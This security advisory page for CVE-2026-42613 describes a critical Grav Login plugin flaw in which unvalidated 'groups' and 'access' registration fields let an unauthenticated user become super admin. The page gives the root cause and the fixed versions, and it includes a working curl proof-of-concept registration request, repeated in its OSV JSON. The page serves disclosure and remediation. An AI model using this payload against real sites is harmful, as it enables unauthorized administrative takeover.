CVE-2026-42613: Getgrav/grav Grav Vulnerable To Privilege Escalation Vulnerability

CRITICAL
Advisory Identifier: GHSA-pxm6-mhxr-q4mj
CVSS 9.4
CWE-20
Published
Advisory Summary

CVE-2026-42613 is a CRITICAL (CVSS 9.4) grav vulnerable to privilege escalation vulnerability (CWE-20: Improper Input Validation) affecting Getgrav/grav libraries in the Packagist ecosystem. The issue involves grav vulnerable to privilege escalation via missing server-side validation of groups/access. Remediation is available by upgrading affected packages to version 2.0.0-beta.2.

CVE-2026-42613 at a Glance

CVE Identifier CVE-2026-42613
GHSA Identifier GHSA-pxm6-mhxr-q4mj
Severity CRITICAL
CVSS v3.1 Base Score 9.4
CWE Classification CWE-20: Improper Input Validation
Affected Product Getgrav/grav
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-42613

To remediate this vulnerability, upgrade all affected Getgrav/grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

getgrav/grav fixed: 2.0.0-beta.2
Upgrade getgrav/grav to 2.0.0-beta.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for getgrav/grav

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-42613, inspect your project dependencies for Getgrav/grav:

inspect dependencies for getgrav/grav

Analyze the terminal output to locate any version of Getgrav/grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0-beta.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Getgrav/grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access ## Summary The `Login::register()` method in the Login plugin accepts attacker-controlled `groups` and `access` fields from the registration POST data without server-side validation. When registration is enabled and `groups` or `access` are included in the configured allowed fields list, an unauthenticated user can self-register with `admin.super` privileges by injecting these fields into the registration request. This is a missing server-side validation issue — the only defense is a config-level `fields` allowlist, which is an admin-facing setting, not a hardcoded security boundary. ## Affected Component - **File:** `user/plugins/login/classes/Login.php`, lines 246-306 - **Method:** `Login::register()` - **Validation:** `Login::validateField()`, lines 363-432 - **Plugin:** Login Plugin 3.8.0 - **Grav:** 1.8.0-beta.29 ## Root Cause In `register()` (lines 254-267), the `groups` and `access` fields are only set to config defaults **if they are not already present in the input data**: ```php // Line 254-260 if (!isset($data['groups'])) { $groups = (array) $this->config->get('plugins.login.user_registration.groups', []); if (count($groups) > 0) { $data['groups'] = $groups; } } // Line 262-267 if (!isset($data['access'])) { $access = (array) $this->config->get('plugins.login.user_registration.access.site', []); if (count($access) > 0) { $data['access']['site'] = $access; } } ``` If an attacker **includes** `groups` or `access` in the POST body, the `!isset()` check passes and the config defaults are skipped. The attacker's values flow through unchanged. Later (lines 298-303), these values are assigned directly to the user object: ```php if (isset($data['groups'])) { $user->groups = $data['groups']; // attacker-controlled } if (isset($data['access'])) { $user->access = $data['access']; // attacker-controlled } $user->save(); ``` The `validateField()` method (lines 363-432) has a `switch` statement that only validates: `username`, `password`, `password2`, `email`, `permissions`, `state`, and `language`. The `groups` and `access` fields pass through the `default` case with **no validation at all**. ## Precondition Registration must be enabled with `groups` and/or `access` in the configured allowed fields: ```yaml # user/config/plugins/login.yaml user_registration: enabled: true fields: - username - password - email - fullname - groups # ← enables the attack - access # ← enables the attack ``` This is a configuration the admin UI allows without any warning. An admin adding `groups` to let users pick a non-privileged group (e.g., `editors`) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected. ## Proof of Concept ### Malicious registration request (unauthenticated): ```bash curl -X POST "${TARGET}/user_register" \ --data-urlencode "data[username]=attacker" \ --data-urlencode "data[password1]=Str0ngP@ss!" \ --data-urlencode "data[password2]=Str0ngP@ss!" \ --data-urlencode "data[email]=attacker@evil.com" \ --data-urlencode "data[fullname]=Attacker" \ --data-urlencode "data[groups][]=admins" \ --data-urlencode "data[access][admin][login]=true" \ --data-urlencode "data[access][admin][super]=true" \ --data-urlencode "data[access][site][login]=true" \ --data-urlencode "form-nonce=${FORM_NONCE}" \ --data-urlencode "__form-name__=user_register" \ --data-urlencode "__unique_form_id__=${FORM_UID}" ``` ### Resulting account file (`user/accounts/attacker.yaml`): ```yaml email: attacker@evil.com fullname: Attacker groups: - admins access: admin: login: true super: true site: login: true hashed_password: ... state: enabled ``` The attacker can then log into `/admin` with full super-admin privileges. ## Impact - **Severity:** Critical (when precondition is met) - **Vector:** Unauthenticated → Super Admin - **Escalation:** Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload - **Precondition:** Registration enabled with `groups` or `access` in allowed fields — a configuration the admin UI permits without warning ## Environment - Grav Core: 1.8.0-beta.29 - Login Plugin: 3.8.0 - PHP: 8.4.11 ## Credits Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/ --- ## Maintainer note — fix applied (2026-04-24) Fixed in **grav-plugin-login 3.8.2** (commit [`3d419a0`](https://github.com/getgrav/grav-plugin-login/commit/3d419a0)). On the Grav 2.0 line, the login plugin is pinned at `>=3.8.2` by admin2's [`blueprints.yaml`](https://github.com/getgrav/grav-plugin-admin2/blob/develop/blueprints.yaml), so sites running admin2 with Grav **2.0.0-beta.2** pick the fix up automatically. **What changed:** the registration form handler now explicitly skips the `groups` and `access` privilege fields in the per-field input loop — even if an administrator added them to `user_registration.fields`. A warning is logged on any attempted injection. Server-side `default_values`, invitations, and the `user_registration.{groups,access}` config remain the sole sources of those values. **Files:** - [`login.php`](https://github.com/getgrav/grav-plugin-login/blob/develop/login.php) — form handler privilege-field strip.

CVE-2026-42613 Affected Getgrav/grav Versions

1 component(s)
Fixed Versions:
2.0.0-beta.2
Product / Package Ecosystem Affected Versions Fixed Version
getgrav/grav
Packagist
< 2.0.0-beta.2
2.0.0-beta.2

References

Frequently Asked Questions

What is CVE-2026-42613?
CVE-2026-42613 is a security vulnerability in Getgrav/grav involving Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access under CWE-20: Improper Input Validation.
Which Getgrav/grav versions are affected?
Affected versions include releases prior to 2.0.0-beta.2 across affected packages: getgrav/grav.
What version fixes CVE-2026-42613?
Upgrading to 2.0.0-beta.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is getgrav/grav affected?
Yes, getgrav/grav is affected in releases prior to 2.0.0-beta.2. Upgrade your dependency to 2.0.0-beta.2 or later.
What is the CVSS score of CVE-2026-42613?
CVE-2026-42613 has a CVSS v3.1 base score of 9.4 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-42613?
CVE-2026-42613 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Packagist dependencies for CVE-2026-42613?
Run the dependency tree command: 'inspect dependencies for getgrav/grav'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pxm6-mhxr-q4mj",
  "modified" : "2026-05-13T13:52:14Z",
  "published" : "2026-05-05T21:26:06Z",
  "aliases" : [ "CVE-2026-42613" ],
  "summary" : "Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access",
  "details" : "# Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access\n\n## Summary\n\nThe `Login::register()` method in the Login plugin accepts attacker-controlled `groups` and `access` fields from the registration POST data without server-side validation. When registration is enabled and `groups` or `access` are included in the configured allowed fields list, an unauthenticated user can self-register with `admin.super` privileges by injecting these fields into the registration request.\n\nThis is a missing server-side validation issue — the only defense is a config-level `fields` allowlist, which is an admin-facing setting, not a hardcoded security boundary.\n\n## Affected Component\n\n- **File:** `user/plugins/login/classes/Login.php`, lines 246-306\n- **Method:** `Login::register()`\n- **Validation:** `Login::validateField()`, lines 363-432\n- **Plugin:** Login Plugin 3.8.0\n- **Grav:** 1.8.0-beta.29\n\n## Root Cause\n\nIn `register()` (lines 254-267), the `groups` and `access` fields are only set to config defaults **if they are not already present in the input data**:\n\n```php\n// Line 254-260\nif (!isset($data['groups'])) {\n    $groups = (array) $this->config->get('plugins.login.user_registration.groups', []);\n    if (count($groups) > 0) {\n        $data['groups'] = $groups;\n    }\n}\n\n// Line 262-267\nif (!isset($data['access'])) {\n    $access = (array) $this->config->get('plugins.login.user_registration.access.site', []);\n    if (count($access) > 0) {\n        $data['access']['site'] = $access;\n    }\n}\n```\n\nIf an attacker **includes** `groups` or `access` in the POST body, the `!isset()` check passes and the config defaults are skipped. The attacker's values flow through unchanged.\n\nLater (lines 298-303), these values are assigned directly to the user object:\n\n```php\nif (isset($data['groups'])) {\n    $user->groups = $data['groups'];  // attacker-controlled\n}\nif (isset($data['access'])) {\n    $user->access = $data['access'];  // attacker-controlled\n}\n$user->save();\n```\n\nThe `validateField()` method (lines 363-432) has a `switch` statement that only validates: `username`, `password`, `password2`, `email`, `permissions`, `state`, and `language`. The `groups` and `access` fields pass through the `default` case with **no validation at all**.\n\n## Precondition\n\nRegistration must be enabled with `groups` and/or `access` in the configured allowed fields:\n\n```yaml\n# user/config/plugins/login.yaml\nuser_registration:\n  enabled: true\n  fields:\n    - username\n    - password\n    - email\n    - fullname\n    - groups    # ← enables the attack\n    - access    # ← enables the attack\n```\n\nThis is a configuration the admin UI allows without any warning. An admin adding `groups` to let users pick a non-privileged group (e.g., `editors`) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.\n\n## Proof of Concept\n\n### Malicious registration request (unauthenticated):\n\n```bash\ncurl -X POST \"${TARGET}/user_register\" \\\n  --data-urlencode \"data[username]=attacker\" \\\n  --data-urlencode \"data[password1]=Str0ngP@ss!\" \\\n  --data-urlencode \"data[password2]=Str0ngP@ss!\" \\\n  --data-urlencode \"data[email]=attacker@evil.com\" \\\n  --data-urlencode \"data[fullname]=Attacker\" \\\n  --data-urlencode \"data[groups][]=admins\" \\\n  --data-urlencode \"data[access][admin][login]=true\" \\\n  --data-urlencode \"data[access][admin][super]=true\" \\\n  --data-urlencode \"data[access][site][login]=true\" \\\n  --data-urlencode \"form-nonce=${FORM_NONCE}\" \\\n  --data-urlencode \"__form-name__=user_register\" \\\n  --data-urlencode \"__unique_form_id__=${FORM_UID}\"\n```\n\n### Resulting account file (`user/accounts/attacker.yaml`):\n\n```yaml\nemail: attacker@evil.com\nfullname: Attacker\ngroups:\n  - admins\naccess:\n  admin:\n    login: true\n    super: true\n  site:\n    login: true\nhashed_password: ...\nstate: enabled\n```\n\nThe attacker can then log into `/admin` with full super-admin privileges.\n\n## Impact\n\n- **Severity:** Critical (when precondition is met)\n- **Vector:** Unauthenticated → Super Admin\n- **Escalation:** Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload\n- **Precondition:** Registration enabled with `groups` or `access` in allowed fields — a configuration the admin UI permits without warning\n\n\n## Environment\n\n- Grav Core: 1.8.0-beta.29\n- Login Plugin: 3.8.0\n- PHP: 8.4.11\n\n## Credits\n\nJonathan Dersch at Hacking Cult GmbH https://hackingcult.de/\n\n\n\n---\n\n## Maintainer note — fix applied (2026-04-24)\n\nFixed in **grav-plugin-login 3.8.2** (commit [`3d419a0`](https://github.com/getgrav/grav-plugin-login/commit/3d419a0)). On the Grav 2.0 line, the login plugin is pinned at `>=3.8.2` by admin2's [`blueprints.yaml`](https://github.com/getgrav/grav-plugin-admin2/blob/develop/blueprints.yaml), so sites running admin2 with Grav **2.0.0-beta.2** pick the fix up automatically.\n\n**What changed:** the registration form handler now explicitly skips the `groups` and `access` privilege fields in the per-field input loop — even if an administrator added them to `user_registration.fields`. A warning is logged on any attempted injection. Server-side `default_values`, invitations, and the `user_registration.{groups,access}` config remain the sole sources of those values.\n\n**Files:**\n- [`login.php`](https://github.com/getgrav/grav-plugin-login/blob/develop/login.php) — form handler privilege-field strip.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.0-beta.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-pxm6-mhxr-q4mj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42613"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav-plugin-login/commit/3d419a0dabd70aed1fd49afcd5919004a4141da1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T21:26:06Z",
    "nvd_published_at" : "2026-05-11T16:17:34Z"
  }
}